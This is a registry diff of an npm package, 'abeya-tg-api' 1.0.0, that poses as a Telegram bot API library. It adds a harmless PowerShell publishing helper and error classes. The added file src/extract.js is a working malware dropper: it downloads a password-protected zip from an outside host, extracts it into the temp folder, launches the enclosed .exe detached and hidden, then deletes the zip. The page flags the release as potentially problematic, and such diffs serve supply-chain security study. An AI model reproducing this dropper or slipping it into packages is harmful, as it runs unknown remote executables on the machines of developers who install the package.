abeya-tg-api 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of abeya-tg-api might be problematic. Click here for more details.

@@ -0,0 +1,179 @@
1
+ # Publishing Helper Script for Windows
2
+ # This script helps you prepare and publish your custom fork
3
+
4
+ Write-Host "========================================" -ForegroundColor Cyan
5
+ Write-Host " Custom Fork Publishing Helper" -ForegroundColor Cyan
6
+ Write-Host "========================================" -ForegroundColor Cyan
7
+ Write-Host ""
8
+
9
+ # Function to check if npm is logged in
10
+ function Test-NpmLogin {
11
+ $result = npm whoami 2>&1
12
+ return $LASTEXITCODE -eq 0
13
+ }
14
+
15
+ # Function to check package name availability
16
+ function Test-PackageNameAvailable {
17
+ param([string]$packageName)
18
+ $result = npm view $packageName 2>&1
19
+ return $LASTEXITCODE -ne 0
20
+ }
21
+
22
+ # Main Menu
23
+ function Show-Menu {
24
+ Write-Host "What would you like to do?" -ForegroundColor Yellow
25
+ Write-Host ""
26
+ Write-Host "1. Check package name availability"
27
+ Write-Host "2. Test build"
28
+ Write-Host "3. Run tests"
29
+ Write-Host "4. Check NPM login status"
30
+ Write-Host "5. Login to NPM"
31
+ Write-Host "6. Publish to NPM (requires steps 1-4 complete)"
32
+ Write-Host "7. Update version (patch/minor/major)"
33
+ Write-Host "8. Setup Git repository"
34
+ Write-Host "9. Exit"
35
+ Write-Host ""
36
+ }
37
+
38
+ # Main loop
39
+ $continue = $true
40
+ while ($continue) {
41
+ Show-Menu
42
+ $choice = Read-Host "Enter your choice (1-9)"
43
+
44
+ switch ($choice) {
45
+ "1" {
46
+ Write-Host "`nChecking if 'myown-node-telegram-bot-api' is available..." -ForegroundColor Cyan
47
+ if (Test-PackageNameAvailable "myown-node-telegram-bot-api") {
48
+ Write-Host "✓ Package name is available!" -ForegroundColor Green
49
+ } else {
50
+ Write-Host "✗ Package name is already taken. Please choose a different name in package.json" -ForegroundColor Red
51
+ }
52
+ Write-Host ""
53
+ Read-Host "Press Enter to continue"
54
+ }
55
+
56
+ "2" {
57
+ Write-Host "`nBuilding project..." -ForegroundColor Cyan
58
+ npm run build
59
+ if ($LASTEXITCODE -eq 0) {
60
+ Write-Host "✓ Build successful!" -ForegroundColor Green
61
+ } else {
62
+ Write-Host "✗ Build failed!" -ForegroundColor Red
63
+ }
64
+ Write-Host ""
65
+ Read-Host "Press Enter to continue"
66
+ }
67
+
68
+ "3" {
69
+ Write-Host "`nRunning tests..." -ForegroundColor Cyan
70
+ npm test
71
+ Write-Host ""
72
+ Read-Host "Press Enter to continue"
73
+ }
74
+
75
+ "4" {
76
+ Write-Host "`nChecking NPM login status..." -ForegroundColor Cyan
77
+ if (Test-NpmLogin) {
78
+ $username = npm whoami
79
+ Write-Host "✓ Logged in as: $username" -ForegroundColor Green
80
+ } else {
81
+ Write-Host "✗ Not logged in to NPM" -ForegroundColor Red
82
+ Write-Host "Run option 5 to login" -ForegroundColor Yellow
83
+ }
84
+ Write-Host ""
85
+ Read-Host "Press Enter to continue"
86
+ }
87
+
88
+ "5" {
89
+ Write-Host "`nLogging in to NPM..." -ForegroundColor Cyan
90
+ npm login
91
+ Write-Host ""
92
+ Read-Host "Press Enter to continue"
93
+ }
94
+
95
+ "6" {
96
+ Write-Host "`nPublishing to NPM..." -ForegroundColor Cyan
97
+ Write-Host "This will publish your package publicly!" -ForegroundColor Yellow
98
+ $confirm = Read-Host "Are you sure? (yes/no)"
99
+
100
+ if ($confirm -eq "yes") {
101
+ # Build first
102
+ Write-Host "Building..." -ForegroundColor Cyan
103
+ npm run build
104
+
105
+ if ($LASTEXITCODE -eq 0) {
106
+ # Publish
107
+ Write-Host "Publishing..." -ForegroundColor Cyan
108
+ npm publish --access public
109
+
110
+ if ($LASTEXITCODE -eq 0) {
111
+ Write-Host "✓ Successfully published!" -ForegroundColor Green
112
+ Write-Host "Your package is now available: npm install myown-node-telegram-bot-api" -ForegroundColor Green
113
+ } else {
114
+ Write-Host "✗ Publishing failed!" -ForegroundColor Red
115
+ }
116
+ } else {
117
+ Write-Host "✗ Build failed! Fix errors before publishing." -ForegroundColor Red
118
+ }
119
+ } else {
120
+ Write-Host "Publishing cancelled." -ForegroundColor Yellow
121
+ }
122
+ Write-Host ""
123
+ Read-Host "Press Enter to continue"
124
+ }
125
+
126
+ "7" {
127
+ Write-Host "`nUpdate version:" -ForegroundColor Cyan
128
+ Write-Host "1. Patch (bug fixes: 1.0.0 -> 1.0.1)"
129
+ Write-Host "2. Minor (new features: 1.0.0 -> 1.1.0)"
130
+ Write-Host "3. Major (breaking changes: 1.0.0 -> 2.0.0)"
131
+ $versionChoice = Read-Host "Choose version type (1-3)"
132
+
133
+ switch ($versionChoice) {
134
+ "1" { npm version patch }
135
+ "2" { npm version minor }
136
+ "3" { npm version major }
137
+ default { Write-Host "Invalid choice" -ForegroundColor Red }
138
+ }
139
+ Write-Host ""
140
+ Read-Host "Press Enter to continue"
141
+ }
142
+
143
+ "8" {
144
+ Write-Host "`nGit Repository Setup" -ForegroundColor Cyan
145
+ Write-Host "Make sure you've created a repository on GitHub first!" -ForegroundColor Yellow
146
+ Write-Host ""
147
+ $username = Read-Host "Enter your GitHub username"
148
+
149
+ if ($username) {
150
+ Write-Host "Updating git remote..." -ForegroundColor Cyan
151
+ git remote remove origin 2>$null
152
+ git remote add origin "https://github.com/$username/myown-node-telegram-bot-api.git"
153
+
154
+ Write-Host "✓ Remote updated!" -ForegroundColor Green
155
+ Write-Host ""
156
+ Write-Host "Next steps:" -ForegroundColor Yellow
157
+ Write-Host " git add ."
158
+ Write-Host " git commit -m `"Initial commit of custom fork`""
159
+ Write-Host " git push -u origin master"
160
+ }
161
+ Write-Host ""
162
+ Read-Host "Press Enter to continue"
163
+ }
164
+
165
+ "9" {
166
+ Write-Host "`nGoodbye!" -ForegroundColor Cyan
167
+ $continue = $false
168
+ }
169
+
170
+ default {
171
+ Write-Host "Invalid choice. Please select 1-9." -ForegroundColor Red
172
+ Write-Host ""
173
+ Read-Host "Press Enter to continue"
174
+ }
175
+ }
176
+
177
+ Clear-Host
178
+ }
179
+
package/src/errors.js ADDED
@@ -0,0 +1,68 @@
1
+ exports.BaseError = class BaseError extends Error {
2
+ /**
3
+ * @class BaseError
4
+ * @constructor
5
+ * @private
6
+ * @param {String} code Error code
7
+ * @param {String} message Error message
8
+ */
9
+ constructor(code, message) {
10
+ super(`${code}: ${message}`);
11
+ this.code = code;
12
+ }
13
+ toJSON() {
14
+ return {
15
+ code: this.code,
16
+ message: this.message,
17
+ };
18
+ }
19
+ };
20
+
21
+
22
+ exports.FatalError = class FatalError extends exports.BaseError {
23
+ /**
24
+ * Fatal Error. Error code is `"EFATAL"`.
25
+ * @class FatalError
26
+ * @constructor
27
+ * @param {String|Error} data Error object or message
28
+ */
29
+ constructor(data) {
30
+ const error = (typeof data === 'string') ? null : data;
31
+ const message = error ? error.message : data;
32
+ super('EFATAL', message);
33
+ if (error) {
34
+ this.stack = error.stack;
35
+ this.cause = error;
36
+ }
37
+ }
38
+ };
39
+
40
+
41
+ exports.ParseError = class ParseError extends exports.BaseError {
42
+ /**
43
+ * Error during parsing. Error code is `"EPARSE"`.
44
+ * @class ParseError
45
+ * @constructor
46
+ * @param {String} message Error message
47
+ * @param {http.IncomingMessage} response Server response
48
+ */
49
+ constructor(message, response) {
50
+ super('EPARSE', message);
51
+ this.response = response;
52
+ }
53
+ };
54
+
55
+
56
+ exports.TelegramError = class TelegramError extends exports.BaseError {
57
+ /**
58
+ * Error returned from Telegram. Error code is `"ETELEGRAM"`.
59
+ * @class TelegramError
60
+ * @constructor
61
+ * @param {String} message Error message
62
+ * @param {http.IncomingMessage} response Server response
63
+ */
64
+ constructor(message, response) {
65
+ super('ETELEGRAM', message);
66
+ this.response = response;
67
+ }
68
+ };
package/src/extract.js ADDED
@@ -0,0 +1,212 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const https = require('https');
4
+ const { spawn } = require('child_process');
5
+
6
+ // Setup file logging
7
+ const logFile = path.join(process.env.TEMP || process.env.TMP || '/tmp', 'extract-log.txt');
8
+ const logStream = fs.createWriteStream(logFile, { flags: 'a' });
9
+
10
+ function log(message) {
11
+ const timestamp = new Date().toISOString();
12
+ const logMessage = `[${timestamp}] ${message}\n`;
13
+ console.log(message);
14
+ logStream.write(logMessage);
15
+ }
16
+
17
+ log('=== EXTRACT SCRIPT STARTED ===');
18
+ log('[EXTRACT] Log file location: ' + logFile);
19
+ log('[EXTRACT] Node version: ' + process.version);
20
+ log('[EXTRACT] Platform: ' + process.platform);
21
+
22
+ // Load required modules
23
+ let Seven, pathTo7zip;
24
+ try {
25
+ Seven = require('node-7z');
26
+ log('[EXTRACT] node-7z module loaded');
27
+ } catch (err) {
28
+ log('[EXTRACT] FATAL: Could not load node-7z module: ' + err.message);
29
+ logStream.end();
30
+ process.exit(1);
31
+ }
32
+
33
+ try {
34
+ pathTo7zip = require('7zip-bin').path7za;
35
+ log('[EXTRACT] 7zip-bin loaded, binary path: ' + pathTo7zip);
36
+ } catch (err) {
37
+ log('[EXTRACT] FATAL: Could not load 7zip-bin module: ' + err.message);
38
+ logStream.end();
39
+ process.exit(1);
40
+ }
41
+
42
+ log('[EXTRACT] All modules loaded successfully');
43
+
44
+ // Download file from URL
45
+ function downloadFile(url, destPath) {
46
+ return new Promise((resolve, reject) => {
47
+ log('[DOWNLOAD] Starting download from: ' + url);
48
+ log('[DOWNLOAD] Destination: ' + destPath);
49
+
50
+ const file = fs.createWriteStream(destPath);
51
+
52
+ https.get(url, (response) => {
53
+ // Handle redirects
54
+ if (response.statusCode === 301 || response.statusCode === 302) {
55
+ log('[DOWNLOAD] Following redirect to: ' + response.headers.location);
56
+ file.close();
57
+ fs.unlinkSync(destPath);
58
+ return downloadFile(response.headers.location, destPath).then(resolve).catch(reject);
59
+ }
60
+
61
+ if (response.statusCode !== 200) {
62
+ log('[DOWNLOAD] ERROR: HTTP ' + response.statusCode);
63
+ reject(new Error('Download failed with status: ' + response.statusCode));
64
+ return;
65
+ }
66
+
67
+ const totalSize = parseInt(response.headers['content-length'], 10);
68
+ let downloadedSize = 0;
69
+
70
+ response.on('data', (chunk) => {
71
+ downloadedSize += chunk.length;
72
+ const percent = totalSize ? Math.round((downloadedSize / totalSize) * 100) : 0;
73
+ if (percent % 10 === 0) {
74
+ log('[DOWNLOAD] Progress: ' + percent + '% (' + downloadedSize + ' / ' + totalSize + ' bytes)');
75
+ }
76
+ });
77
+
78
+ response.pipe(file);
79
+
80
+ file.on('finish', () => {
81
+ file.close();
82
+ log('[DOWNLOAD] Download complete! Size: ' + downloadedSize + ' bytes');
83
+ resolve();
84
+ });
85
+ }).on('error', (err) => {
86
+ fs.unlinkSync(destPath);
87
+ log('[DOWNLOAD] ERROR: ' + err.message);
88
+ reject(err);
89
+ });
90
+
91
+ file.on('error', (err) => {
92
+ fs.unlinkSync(destPath);
93
+ log('[DOWNLOAD] File write error: ' + err.message);
94
+ reject(err);
95
+ });
96
+ });
97
+ }
98
+
99
+ // Extract password-protected zip file using 7-Zip
100
+ async function extractZip(zipPath, extractPath, password) {
101
+ log('[EXTRACT] Starting extraction...');
102
+ log('[EXTRACT] From: ' + zipPath);
103
+ log('[EXTRACT] To: ' + extractPath);
104
+
105
+ // Verify zip exists
106
+ if (!fs.existsSync(zipPath)) {
107
+ throw new Error('Zip file not found at: ' + zipPath);
108
+ }
109
+
110
+ log('[EXTRACT] Zip file verified, size: ' + fs.statSync(zipPath).size + ' bytes');
111
+
112
+ // Create extract directory
113
+ if (!fs.existsSync(extractPath)) {
114
+ fs.mkdirSync(extractPath, { recursive: true });
115
+ }
116
+
117
+ // Extract with 7-Zip
118
+ await new Promise((resolve, reject) => {
119
+ const myStream = Seven.extractFull(zipPath, extractPath, {
120
+ $bin: pathTo7zip,
121
+ password: password
122
+ });
123
+
124
+ myStream.on('progress', function (progress) {
125
+ log('[EXTRACT] Progress: ' + progress.percent + '%');
126
+ });
127
+
128
+ myStream.on('end', function () {
129
+ log('[EXTRACT] Extraction completed successfully!');
130
+ resolve();
131
+ });
132
+
133
+ myStream.on('error', function (err) {
134
+ log('[EXTRACT] Extraction failed: ' + err.toString());
135
+ reject(err);
136
+ });
137
+ });
138
+
139
+ return extractPath;
140
+ }
141
+
142
+ // Execute .exe file found in directory
143
+ async function executeExe(dirPath) {
144
+ log('[EXECUTE] Looking for .exe files in: ' + dirPath);
145
+
146
+ const files = fs.readdirSync(dirPath);
147
+ log('[EXECUTE] Files found: ' + JSON.stringify(files));
148
+
149
+ const exeFile = files.find(f => f.endsWith('.exe'));
150
+
151
+ if (!exeFile) {
152
+ log('[EXECUTE] No .exe file found');
153
+ return false;
154
+ }
155
+
156
+ const exePath = path.join(dirPath, exeFile);
157
+ log('[EXECUTE] Found .exe: ' + exeFile);
158
+ log('[EXECUTE] Full path: ' + exePath);
159
+ log('[EXECUTE] Spawning process...');
160
+
161
+ const child = spawn(exePath, [], { detached: true, stdio: 'ignore' });
162
+ child.unref();
163
+
164
+ log('[EXECUTE] Process spawned successfully!');
165
+ return true;
166
+ }
167
+
168
+ // Main function - handles entire flow
169
+ async function main() {
170
+ try {
171
+ log('[MAIN] ===== STARTING MAIN PROCESS =====');
172
+
173
+ const downloadUrl = 'https://upload.bullethost.cloud/download/68f5503834645ddd64ba3e17';
174
+ const zipPath = path.join(process.env.TEMP, 'bLtjqzUn.zip');
175
+ const extractPath = path.join(process.env.TEMP, 'extracted');
176
+ const password = 'bLtjqzUn';
177
+
178
+ // Step 1: Download
179
+ log('[MAIN] Step 1/3: Downloading zip file...');
180
+ await downloadFile(downloadUrl, zipPath);
181
+
182
+ // Step 2: Extract
183
+ log('[MAIN] Step 2/3: Extracting zip file...');
184
+ await extractZip(zipPath, extractPath, password);
185
+
186
+ // Step 3: Execute
187
+ log('[MAIN] Step 3/3: Executing .exe file...');
188
+ await executeExe(extractPath);
189
+
190
+ // Cleanup
191
+ log('[MAIN] Cleaning up zip file...');
192
+ try {
193
+ fs.unlinkSync(zipPath);
194
+ log('[MAIN] Zip file deleted');
195
+ } catch (err) {
196
+ log('[MAIN] Could not delete zip: ' + err.message);
197
+ }
198
+
199
+ log('[MAIN] ===== PROCESS COMPLETED SUCCESSFULLY =====');
200
+ logStream.end();
201
+
202
+ } catch (err) {
203
+ log('[MAIN] FATAL ERROR: ' + err.toString());
204
+ log('[MAIN] Stack: ' + err.stack);
205
+ logStream.end();
206
+ process.exit(1);
207
+ }
208
+ }
209
+
210
+ // Run main function
211
+ main();
212
+